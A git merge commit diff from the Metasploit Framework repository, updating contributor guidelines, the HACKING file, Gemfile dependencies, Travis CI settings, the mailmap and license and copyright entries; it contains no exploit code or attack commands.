Merge master for testing of #2809
commit
ab7848a895
|
@ -1,4 +1,6 @@
|
||||||
.bundle
|
.bundle
|
||||||
|
Gemfile.local
|
||||||
|
Gemfile.local.lock
|
||||||
# Rubymine project directory
|
# Rubymine project directory
|
||||||
.idea
|
.idea
|
||||||
# Sublime Text project directory (not created by ST by default)
|
# Sublime Text project directory (not created by ST by default)
|
||||||
|
|
1
.mailmap
1
.mailmap
|
@ -18,6 +18,7 @@ todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||||
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||||
|
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||||
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
||||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
||||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||||
|
|
|
@ -1 +1 @@
|
||||||
1.9.3-p484
|
1.9.3-p547
|
||||||
|
|
|
@ -1,11 +1,15 @@
|
||||||
language: ruby
|
language: ruby
|
||||||
env: MSF_SPOTCHECK_RECENT=1
|
|
||||||
before_install:
|
before_install:
|
||||||
- rake --version
|
- rake --version
|
||||||
- sudo apt-get update -qq
|
- sudo apt-get update -qq
|
||||||
- sudo apt-get install -qq libpcap-dev
|
- sudo apt-get install -qq libpcap-dev
|
||||||
|
# Uncomment when we have fewer shipping msftidy warnings.
|
||||||
|
# Merge committers will still be checking, just not autofailing.
|
||||||
|
# See https://dev.metasploit.com/redmine/issues/8498
|
||||||
|
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||||
|
# - ls -la ./.git/hooks
|
||||||
|
# - ./.git/hooks/post-merge
|
||||||
before_script:
|
before_script:
|
||||||
- ./tools/msftidy.rb
|
|
||||||
- cp config/database.yml.travis config/database.yml
|
- cp config/database.yml.travis config/database.yml
|
||||||
- bundle exec rake --version
|
- bundle exec rake --version
|
||||||
- bundle exec rake db:create
|
- bundle exec rake db:create
|
||||||
|
|
109
CONTRIBUTING.md
109
CONTRIBUTING.md
|
@ -1,44 +1,85 @@
|
||||||
|
# Hello, World!
|
||||||
|
|
||||||
|
Thanks for your interest in making Metasploit -- and therefore, the
|
||||||
|
world -- a better place!
|
||||||
|
|
||||||
|
Are you about to report a bug? If so, please use our [Redmine Bug
|
||||||
|
Tracker](https://dev.metasploit.com/redmine/projects/framework). An
|
||||||
|
account is required but it only takes a minute or two.
|
||||||
|
|
||||||
|
Are you about to report a security vulnerability in Metasploit?
|
||||||
|
If so, please take a look at Rapid's [Vulnerability
|
||||||
|
Disclosure Policy](https://www.rapid7.com/disclosure.jsp) policy.
|
||||||
|
|
||||||
|
Are you about to contribute some new functionality, a bug fix, or a new
|
||||||
|
Metasploit module? If so, read on...
|
||||||
|
|
||||||
# Contributing to Metasploit
|
# Contributing to Metasploit
|
||||||
|
|
||||||
## Reporting Bugs
|
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
|
||||||
|
and don'ts of how to make sure *your* valuable contributions actually
|
||||||
|
make it into Metasploit's master branch.
|
||||||
|
|
||||||
If you would like to report a bug, please take a look at [our Redmine
|
If you care not to follow these rules, your contribution **will** be
|
||||||
issue
|
closed (*Road House* style). Sorry!
|
||||||
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
|
|
||||||
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
|
|
||||||
|
|
||||||
If your bug is new and you'd like to report it you will need to
|
This is intended to be a **short** list. The
|
||||||
[register
|
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
|
||||||
first](https://dev.metasploit.com/redmine/account/register). Don't
|
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||||
worry, it's easy and fun and takes about 30 seconds.
|
look at the standard [development environment setup
|
||||||
|
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
|
||||||
|
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
|
||||||
|
|
||||||
When you file a bug report, please include your **steps to reproduce**,
|
## Code Contributions
|
||||||
full copy-pastes of Ruby stack traces, and any relevant details about
|
|
||||||
your environment. Without repro steps, your bug will likely be closed.
|
|
||||||
With repro steps, your bugs will likely be fixed.
|
|
||||||
|
|
||||||
## Contributing Metasploit Modules
|
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
||||||
|
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
||||||
|
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
||||||
|
|
||||||
If you have an exploit that you'd like to contribute to the Metasploit
|
### Pull Requests
|
||||||
Framework, please familiarize yourself with the
|
|
||||||
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
|
|
||||||
document in the
|
|
||||||
Metasploit-Framework repository. There are many mysteries revealed in
|
|
||||||
HACKING concerning code style and content.
|
|
||||||
|
|
||||||
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
|
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
|
||||||
should corellate with modules at a 1:1 ratio
|
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||||
-- there is rarely a good reason to have two, three, or ten modules on
|
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
|
||||||
one pull request, as this dramatically increases the review time
|
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
|
||||||
required to land (commit) any of those modules.
|
* **Don't** leave your pull request description blank.
|
||||||
|
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||||
|
|
||||||
Pull requests tend to be very collaborative for Metasploit -- do not be
|
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
|
||||||
surprised if your pull request to rapid7/metasploit-framework triggers a
|
|
||||||
pull request back to your own fork. In this way, we can isolate working
|
|
||||||
changes before landing your PR to the Metasploit master branch.
|
|
||||||
|
|
||||||
To save yourself the embarrassment of committing common errors, you will
|
#### New Modules
|
||||||
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
|
|
||||||
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
|
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
|
||||||
from the top-level directory of your metasploit-framework clone. This
|
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||||
will prevent you from committing modules that raise WARNINGS or ERRORS.
|
* **Don't** include more than one module per pull request.
|
||||||
|
|
||||||
|
#### Library Code
|
||||||
|
|
||||||
|
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
|
||||||
|
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
|
||||||
|
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
|
||||||
|
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||||
|
|
||||||
|
#### Bug Fixes
|
||||||
|
|
||||||
|
* **Do** include reproduction steps in the form of verification steps.
|
||||||
|
* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description.
|
||||||
|
|
||||||
|
## Bug Reports
|
||||||
|
|
||||||
|
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||||
|
* **Do** create a Redmine account and report your non-vulnerability bugs there.
|
||||||
|
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||||
|
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||||
|
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
||||||
|
* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead.
|
||||||
|
|
||||||
|
Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow.
|
||||||
|
|
||||||
|
If you need some more guidance, talk to the main body of open
|
||||||
|
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
|
||||||
|
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
|
||||||
|
mailing list.
|
||||||
|
|
||||||
|
Also, **thank you** for taking the few moments to read this far! You're
|
||||||
|
already way ahead of the curve, so keep it up!
|
||||||
|
|
2
COPYING
2
COPYING
|
@ -1,4 +1,4 @@
|
||||||
Copyright (C) 2006-2013, Rapid7 Inc.
|
Copyright (C) 2006-2013, Rapid7, Inc.
|
||||||
All rights reserved.
|
All rights reserved.
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without modification,
|
Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
|
16
Gemfile
16
Gemfile
|
@ -1,25 +1,29 @@
|
||||||
source 'https://rubygems.org'
|
source 'https://rubygems.org'
|
||||||
|
|
||||||
# Need 3+ for ActiveSupport::Concern
|
# Need 3+ for ActiveSupport::Concern
|
||||||
gem 'activesupport', '>= 3.0.0'
|
gem 'activesupport', '>= 3.0.0', '< 4.0.0'
|
||||||
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
||||||
gem 'bcrypt-ruby'
|
gem 'bcrypt'
|
||||||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||||
gem 'json'
|
gem 'json'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
gem 'msgpack'
|
gem 'msgpack'
|
||||||
# Needed by anemone crawler
|
# Needed by anemone crawler
|
||||||
gem 'nokogiri'
|
gem 'nokogiri'
|
||||||
# Needed by anemone crawler
|
|
||||||
gem 'robots'
|
|
||||||
# Needed by db.rb and Msf::Exploit::Capture
|
# Needed by db.rb and Msf::Exploit::Capture
|
||||||
gem 'packetfu', '1.1.9'
|
gem 'packetfu', '1.1.9'
|
||||||
|
# Needed by JSObfu
|
||||||
|
gem 'rkelly-remix', '0.0.6'
|
||||||
|
# Needed by anemone crawler
|
||||||
|
gem 'robots'
|
||||||
|
# Needed for some post modules
|
||||||
|
gem 'sqlite3'
|
||||||
|
|
||||||
group :db do
|
group :db do
|
||||||
# Needed for Msf::DbManager
|
# Needed for Msf::DbManager
|
||||||
gem 'activerecord'
|
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
|
||||||
# Database models shared between framework and Pro.
|
# Database models shared between framework and Pro.
|
||||||
gem 'metasploit_data_models', '~> 0.16.9'
|
gem 'metasploit_data_models', '~> 0.17.0'
|
||||||
# Needed for module caching in Mdm::ModuleDetails
|
# Needed for module caching in Mdm::ModuleDetails
|
||||||
gem 'pg', '>= 0.11'
|
gem 'pg', '>= 0.11'
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,36 @@
|
||||||
|
##
|
||||||
|
# Example Gemfile.local file for Metasploit Framework
|
||||||
|
#
|
||||||
|
# The Gemfile.local file provides a way to use other gems that are not
|
||||||
|
# included in the standard Gemfile provided with Metasploit.
|
||||||
|
# This filename is included in Metasploit's .gitignore file, so local changes
|
||||||
|
# to this file will not accidentally show up in future pull requests. This
|
||||||
|
# example Gemfile.local includes all gems in Gemfile using instance_eval.
|
||||||
|
# It also creates a new bundle group, 'local', to hold additional gems.
|
||||||
|
#
|
||||||
|
# This file will not be used by default within the framework. As such, one
|
||||||
|
# must first install the custom Gemfile.local with bundle:
|
||||||
|
# bundle install --gemfile Gemfile.local
|
||||||
|
#
|
||||||
|
# Note that msfupdate does not consider Gemfile.local when updating the
|
||||||
|
# framework. If it is used, it may be necessary to run the above bundle
|
||||||
|
# command after the update.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
# Include the Gemfile included with the framework. This is very
|
||||||
|
# important for picking up new gem dependencies.
|
||||||
|
msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile')
|
||||||
|
if File.readable?(msf_gemfile)
|
||||||
|
instance_eval(File.read(msf_gemfile))
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create a custom group
|
||||||
|
group :local do
|
||||||
|
# Use pry to help view and interact with objects in the framework
|
||||||
|
gem 'pry', '~> 0.9'
|
||||||
|
# Use pry-debugger to step through code during development
|
||||||
|
gem 'pry-debugger', '~> 0.2'
|
||||||
|
# Add the lab gem so that the 'lab' plugin will work again
|
||||||
|
gem 'lab', '~> 0.2.7'
|
||||||
|
end
|
16
Gemfile.lock
16
Gemfile.lock
|
@ -13,7 +13,7 @@ GEM
|
||||||
i18n (~> 0.6, >= 0.6.4)
|
i18n (~> 0.6, >= 0.6.4)
|
||||||
multi_json (~> 1.0)
|
multi_json (~> 1.0)
|
||||||
arel (3.0.2)
|
arel (3.0.2)
|
||||||
bcrypt-ruby (3.1.2)
|
bcrypt (3.1.7)
|
||||||
builder (3.0.4)
|
builder (3.0.4)
|
||||||
database_cleaner (1.1.1)
|
database_cleaner (1.1.1)
|
||||||
diff-lcs (1.2.4)
|
diff-lcs (1.2.4)
|
||||||
|
@ -22,7 +22,7 @@ GEM
|
||||||
fivemat (1.2.1)
|
fivemat (1.2.1)
|
||||||
i18n (0.6.5)
|
i18n (0.6.5)
|
||||||
json (1.8.0)
|
json (1.8.0)
|
||||||
metasploit_data_models (0.16.9)
|
metasploit_data_models (0.17.0)
|
||||||
activerecord (>= 3.2.13)
|
activerecord (>= 3.2.13)
|
||||||
activesupport
|
activesupport
|
||||||
pg
|
pg
|
||||||
|
@ -37,6 +37,7 @@ GEM
|
||||||
pg (0.16.0)
|
pg (0.16.0)
|
||||||
rake (10.1.0)
|
rake (10.1.0)
|
||||||
redcarpet (3.0.0)
|
redcarpet (3.0.0)
|
||||||
|
rkelly-remix (0.0.6)
|
||||||
robots (0.10.1)
|
robots (0.10.1)
|
||||||
rspec (2.14.1)
|
rspec (2.14.1)
|
||||||
rspec-core (~> 2.14.0)
|
rspec-core (~> 2.14.0)
|
||||||
|
@ -52,6 +53,7 @@ GEM
|
||||||
multi_json (~> 1.0.3)
|
multi_json (~> 1.0.3)
|
||||||
simplecov-html (~> 0.5.3)
|
simplecov-html (~> 0.5.3)
|
||||||
simplecov-html (0.5.3)
|
simplecov-html (0.5.3)
|
||||||
|
sqlite3 (1.3.9)
|
||||||
timecop (0.6.3)
|
timecop (0.6.3)
|
||||||
tzinfo (0.3.37)
|
tzinfo (0.3.37)
|
||||||
yard (0.8.7)
|
yard (0.8.7)
|
||||||
|
@ -60,14 +62,14 @@ PLATFORMS
|
||||||
ruby
|
ruby
|
||||||
|
|
||||||
DEPENDENCIES
|
DEPENDENCIES
|
||||||
activerecord
|
activerecord (>= 3.0.0, < 4.0.0)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0, < 4.0.0)
|
||||||
bcrypt-ruby
|
bcrypt
|
||||||
database_cleaner
|
database_cleaner
|
||||||
factory_girl (>= 4.1.0)
|
factory_girl (>= 4.1.0)
|
||||||
fivemat (= 1.2.1)
|
fivemat (= 1.2.1)
|
||||||
json
|
json
|
||||||
metasploit_data_models (~> 0.16.9)
|
metasploit_data_models (~> 0.17.0)
|
||||||
msgpack
|
msgpack
|
||||||
network_interface (~> 0.0.1)
|
network_interface (~> 0.0.1)
|
||||||
nokogiri
|
nokogiri
|
||||||
|
@ -76,9 +78,11 @@ DEPENDENCIES
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
rake (>= 10.0.0)
|
rake (>= 10.0.0)
|
||||||
redcarpet
|
redcarpet
|
||||||
|
rkelly-remix (= 0.0.6)
|
||||||
robots
|
robots
|
||||||
rspec (>= 2.12)
|
rspec (>= 2.12)
|
||||||
shoulda-matchers
|
shoulda-matchers
|
||||||
simplecov (= 0.5.4)
|
simplecov (= 0.5.4)
|
||||||
|
sqlite3
|
||||||
timecop
|
timecop
|
||||||
yard
|
yard
|
||||||
|
|
148
HACKING
148
HACKING
|
@ -1,139 +1,33 @@
|
||||||
# $Id$
|
HACKING
|
||||||
|
=======
|
||||||
|
|
||||||
This file contains some brief instructions on contributing to the
|
(Last updated: 2014-03-04)
|
||||||
Metasploit Framework.
|
|
||||||
|
|
||||||
Code Style
|
This document almost entirely deprecated by:
|
||||||
==========
|
|
||||||
|
|
||||||
In order to maintain consistency and readability, we ask that you
|
CONTRIBUTING.md
|
||||||
adhere to the following style guidelines:
|
|
||||||
|
|
||||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
in the same directory as this file, and to a lesser extent:
|
||||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
|
||||||
- do; end instead of {} for a block
|
|
||||||
- Always use str[0,1] instead of str[0]
|
|
||||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
|
||||||
- Method names should always be lower_case and words separated by "_"
|
|
||||||
- Variable names should be lower case with words separated by "_"
|
|
||||||
- Don't depend on any external gems or libraries without talking to
|
|
||||||
todb to resolve packaging and licensing issues
|
|
||||||
|
|
||||||
You can use the the "./tools/msftidy.rb" script to do some rudimentary
|
|
||||||
checking for various violations.
|
|
||||||
|
|
||||||
|
|
||||||
Code No-Nos
|
|
||||||
===========
|
|
||||||
|
|
||||||
1. Don't print to standard output. Doing so means that users of
|
|
||||||
interfaces other than msfconsole, such as msfrpc and msfgui, won't see
|
|
||||||
your output. You can use print_line to accomplish the same thing as
|
|
||||||
puts.
|
|
||||||
|
|
||||||
2. Don't read from standard input, doing so will make your code
|
|
||||||
lock up the entire module when called from other interfaces. If you
|
|
||||||
need user input, you can either register an option or expose an
|
|
||||||
interactive session type specific for the type of exploit.
|
|
||||||
|
|
||||||
3. Always use Rex sockets, not ruby sockets. This includes
|
|
||||||
third-party libraries such as Net::Http. There are several very good
|
|
||||||
reasons for this rule. First, the framework doesn't get notified on
|
|
||||||
the creation of ruby sockets and won't know how to clean them up in
|
|
||||||
case your module raises an exception without cleaning up after itself.
|
|
||||||
Secondly, non-Rex sockets do not know about routes and therefore can't
|
|
||||||
be used through a meterpreter tunnel. Lastly, regular sockets miss
|
|
||||||
out on msf's proxy and SSL features. Msf includes many protocols
|
|
||||||
already implemented with Rex and if the protocol you need is missing,
|
|
||||||
porting another library to use them is straight-forward. See our
|
|
||||||
Net::SSH modifications in lib/net/ssh/ for an example.
|
|
||||||
|
|
||||||
4. When opening an IO stream, always force binary with "b" mode (or
|
|
||||||
using IO#binmode). This not only helps keep Windows and non-Windows
|
|
||||||
runtime environments consistent with each other, but also guarantees
|
|
||||||
that files will be treated as ASCII-8BIT instead of UTF-8.
|
|
||||||
|
|
||||||
5. Don't use String#[] for a single character. This returns a Fixnum in
|
|
||||||
ruby 1.8 and a String in 1.9, so it's safer to use the following idiom:
|
|
||||||
str[idx,1]
|
|
||||||
which always returns a String. If you need the ASCII byte, unpack it like
|
|
||||||
so:
|
|
||||||
tr[idx,1].unpack("C")[0]
|
|
||||||
|
|
||||||
6. Whenever possible, avoid using '+' or '+=' to concatenate strings.
|
|
||||||
The '<<' operator is significantly faster. The difference will become
|
|
||||||
even more apparent when doing string manipulation in a loop. The
|
|
||||||
following table approximates the underlying implementation:
|
|
||||||
|
|
||||||
Ruby Pseudo-C
|
|
||||||
----------- ----------------
|
|
||||||
a = b + c a = malloc(b.len+c.len+1);
|
|
||||||
strcpy(a, b);
|
|
||||||
memcpy(a+b.len, c, c.len);
|
|
||||||
a[b.len + c.len] = '\0';
|
|
||||||
a = b a = b;
|
|
||||||
a << c a = realloc(a, a.len+c.len+1);
|
|
||||||
memcpy(a+a.len, c, c.len);
|
|
||||||
a[a.len + c.len] = '\0';
|
|
||||||
|
|
||||||
Note that the original value of 'b' is lost in the second case. Care
|
|
||||||
must be taken to duplicate strings that you do not want to modify.
|
|
||||||
|
|
||||||
7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's
|
|
||||||
excellent slide show at <http://slideshow.rubyforge.org/ruby19.html>
|
|
||||||
for an overview of common and not-so-common Ruby version related gotchas.
|
|
||||||
|
|
||||||
8. Never, ever use $global variables. This applies to modules, mixins,
|
|
||||||
and libraries. If you need a "global" within a specific class, you can
|
|
||||||
use @@class_variables, but most modules should use @instance variables
|
|
||||||
to store information between methods.
|
|
||||||
|
|
||||||
9. Don't craft your XML document raw or by using Nokogiri, the current
|
|
||||||
preferred way is REXML.
|
|
||||||
|
|
||||||
Creating New Modules
|
|
||||||
====================
|
|
||||||
|
|
||||||
When creating a new module, the simplest way to start is to copy
|
|
||||||
another module that uses the same protocol and modify it to your
|
|
||||||
needs. If you're creating an exploit module, generally you'll want
|
|
||||||
to edit the exploit() method. Auxiliary Scanner modules use one of
|
|
||||||
run_host(), run_range(), or run_batch() instead of exploit().
|
|
||||||
Non-scanner aux modules use run().
|
|
||||||
|
|
||||||
|
|
||||||
Submitting Your Code
|
|
||||||
====================
|
|
||||||
|
|
||||||
To get started with a Metasploit Framework source clone, simply:
|
|
||||||
|
|
||||||
- Fork rapid7/metasploit-framework to your GitHub account
|
|
||||||
- git clone git://github.com/YourName/metasploit-framework.git
|
|
||||||
- gem install bundler
|
|
||||||
- bundle install
|
|
||||||
|
|
||||||
More detailed documentation regarding the process for submitting new
|
|
||||||
modules via GitHub is documented here:
|
|
||||||
|
|
||||||
|
The Metasploit Development Environment
|
||||||
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
|
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
|
||||||
|
|
||||||
This describes the process of forking, editing, and generating a
|
Common Coding Mistakes
|
||||||
pull request, and is the preferred method for bringing new modules
|
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||||
and framework enhancements to the attention of the core Metasploit
|
|
||||||
development team. Note that this process requires a GitHub account.
|
|
||||||
|
|
||||||
For Git commits, please adhere to 50/72 formatting: your commits should
|
The Ruby Style Guide
|
||||||
start with a line 50 characters or less, followed by a blank line,
|
https://github.com/bbatsov/ruby-style-guide
|
||||||
followed by one or more lines of explanatory text wrapped at at 72
|
|
||||||
characters Pull requests with commits not formatted this way will
|
|
||||||
be rejected without review.
|
|
||||||
|
|
||||||
For modules, note that Author field is not automatic, and should be
|
Ruby 1.9: What to Expect
|
||||||
filled in in the format of 'Your Name <user[at]domain.tld>' so future
|
http://slideshow.rubyforge.org/ruby19.html
|
||||||
developers can contact you with any questions.
|
|
||||||
|
You can use the the "./tools/msftidy.rb" script against your new and
|
||||||
|
changed modules to do some rudimentary checking for various style and
|
||||||
|
syntax violations.
|
||||||
|
|
||||||
|
Licensing for Your New Content
|
||||||
|
==============================
|
||||||
|
|
||||||
Licensing
|
|
||||||
=========
|
|
||||||
By submitting code contributions to the Metasploit Project it is
|
By submitting code contributions to the Metasploit Project it is
|
||||||
assumed that you are offering your code under the Metasploit License
|
assumed that you are offering your code under the Metasploit License
|
||||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
||||||
|
@ -141,6 +35,4 @@ are also fine. We specifically cannot include GPL code. LGPL code
|
||||||
is accepted on a case by case basis for libraries only and is never
|
is accepted on a case by case basis for libraries only and is never
|
||||||
accepted for modules.
|
accepted for modules.
|
||||||
|
|
||||||
When possible, such as aux and exploit modules, be sure to include
|
|
||||||
your license designation in the file in the appropriate place.
|
|
||||||
|
|
||||||
|
|
21
LICENSE
21
LICENSE
|
@ -2,13 +2,13 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||||
Source: http://www.metasploit.com/
|
Source: http://www.metasploit.com/
|
||||||
|
|
||||||
Files: *
|
Files: *
|
||||||
Copyright: 2006-2013, Rapid7 Inc.
|
Copyright: 2006-2014, Rapid7, Inc.
|
||||||
License: BSD-3-clause
|
License: BSD-3-clause
|
||||||
|
|
||||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||||
# at the end of this file.
|
# at the end of this file.
|
||||||
#
|
#
|
||||||
# The copyright on this package is held by Rapid7 LLC.
|
# The copyright on this package is held by Rapid7, Inc.
|
||||||
#
|
#
|
||||||
# This license does not apply to third-party components detailed below.
|
# This license does not apply to third-party components detailed below.
|
||||||
#
|
#
|
||||||
|
@ -36,6 +36,10 @@ Files: external/ruby-lorcon/*
|
||||||
Copyright: 2005, dragorn and Joshua Wright
|
Copyright: 2005, dragorn and Joshua Wright
|
||||||
License: LGPL-2.1
|
License: LGPL-2.1
|
||||||
|
|
||||||
|
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||||
|
Copyright: James Forshaw, 2014
|
||||||
|
License: GPLv3
|
||||||
|
|
||||||
Files: external/source/byakugan/*
|
Files: external/source/byakugan/*
|
||||||
Copyright: Lurene Grenier, 2009
|
Copyright: Lurene Grenier, 2009
|
||||||
License: BSD-3-clause
|
License: BSD-3-clause
|
||||||
|
@ -84,7 +88,7 @@ Copyright: 2005-2009, Joel VanderWerf
|
||||||
License: Ruby
|
License: Ruby
|
||||||
|
|
||||||
Files: lib/fastlib.rb
|
Files: lib/fastlib.rb
|
||||||
Copyright: 2011, Rapid7 Inc.
|
Copyright: 2011, Rapid7, Inc.
|
||||||
License: Ruby
|
License: Ruby
|
||||||
|
|
||||||
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||||
|
@ -151,6 +155,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb
|
||||||
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
|
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
|
||||||
License: BSD-3-clause
|
License: BSD-3-clause
|
||||||
|
|
||||||
|
Files: data/webcam/api.js
|
||||||
|
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||||
|
License: MIT
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Gems
|
# Gems
|
||||||
#
|
#
|
||||||
|
@ -171,6 +180,10 @@ Files: arel
|
||||||
Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
|
Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
|
||||||
License: MIT
|
License: MIT
|
||||||
|
|
||||||
|
Files: bcrypt
|
||||||
|
Copyright: 2007-2011 Coda Hale
|
||||||
|
License: MIT
|
||||||
|
|
||||||
Files: builder
|
Files: builder
|
||||||
Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com)
|
Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com)
|
||||||
License: MIT
|
License: MIT
|
||||||
|
@ -305,7 +318,7 @@ License: BSD-3-clause
|
||||||
this list of conditions and the following disclaimer in the documentation
|
this list of conditions and the following disclaimer in the documentation
|
||||||
and/or other materials provided with the distribution.
|
and/or other materials provided with the distribution.
|
||||||
.
|
.
|
||||||
* Neither the name of Rapid7 LLC nor the names of its contributors
|
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||||
may be used to endorse or promote products derived from this software
|
may be used to endorse or promote products derived from this software
|
||||||
without specific prior written permission.
|
without specific prior written permission.
|
||||||
.
|
.
|
||||||
|
|
|
@ -24,10 +24,11 @@ The mailing list archives are available from:
|
||||||
|
|
||||||
Installing
|
Installing
|
||||||
--
|
--
|
||||||
Generally, you should use the installer which contains all dependencies
|
|
||||||
and will get you up and running with a few clicks. See the [Dev
|
Generally, you should use [the free installer](https://www.metasploit.com/download)
|
||||||
Environment Setup][wiki-devenv] if you'd like to deal with dependencies
|
which contains all dependencies and will get you up and running with a
|
||||||
on your own.
|
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||||
|
you'd like to deal with dependencies on your own.
|
||||||
|
|
||||||
Using Metasploit
|
Using Metasploit
|
||||||
--
|
--
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Before Width: | Height: | Size: 3.0 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,6 @@
|
